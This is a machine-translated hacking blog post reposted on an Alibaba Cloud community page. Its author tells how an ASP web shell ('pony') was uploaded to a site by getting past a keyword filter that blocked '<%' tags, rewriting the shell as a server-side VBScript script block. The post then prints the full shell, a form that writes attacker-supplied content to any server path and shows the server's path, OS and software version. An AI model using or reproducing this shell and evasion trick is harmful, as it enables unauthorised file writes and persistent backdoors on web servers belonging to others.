Upload pony through top-notch monitoring

Source: Internet
Author: User

 

By: stuffy beans

 

I saw a website today. The upload vulnerability exists.

 

But the tragedy is that. How to transfer. Are all blank. Experience tells me. I met a first-class monitoring system.

 

Checks whether an invalid character exists in the file. Invalid characters are the keywords they have set. Generally, they are all keywords such as web horse.

 

As long as it exists. Filter the entire file to a blank space. That's why I met the same thing today.

 

Upload test.

 

Found. He not only filters out general key words and sentence functions. ==|||

 

He directly determined whether there exists <%> This is where all asp exists = !! Asp.

 

How can I lose <%>?

 

How to break through? I saw something when I opened my sentence.

 

As follows:

 

// Not required <%>

 

Isn't that the general script writing method. Then I was inspired by this stuff.

 

I will change a pony to this method.

 

The result is uploaded successfully. Not filtered. Haha.

 

Code:

 

<Script language = VBScript runat = server>

Dim da

Set fso = server. createobject ("scripting. filesystemobject ")

Path = request ("path ")

If path <> "" then

Data = request ("da ")

Set da = fso. createtextfile (path, true)

Da. write data

If err = 0 then

Response. Write "yes"

Else

Response. Write "no"

End if

Err. clear

End if

Set da = nothing

Set fos = nothing

Response. Write "<form action ='' method = post>"

Response. Write "<input type = text name = path>"

Response. Write "<br>"

Response. Write "current file path:" & server. mappath (request. servervariables ("script_name "))

Response. Write "<br>"

Response. Write ":" & Request. ServerVariables ("OS ")

Response. Write "<br>"

Response. Write "WEB server version:" & Request. ServerVariables ("SERVER_SOFTWARE ")

Response. Write "<br>"

Response. Write "<textarea name = da cols = 50 rows = 10 width = 30> </textarea>"

Response. Write "<br>"

Response. Write "<input type = submit value = save>"

Response. Write "</form>"

</Script>

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.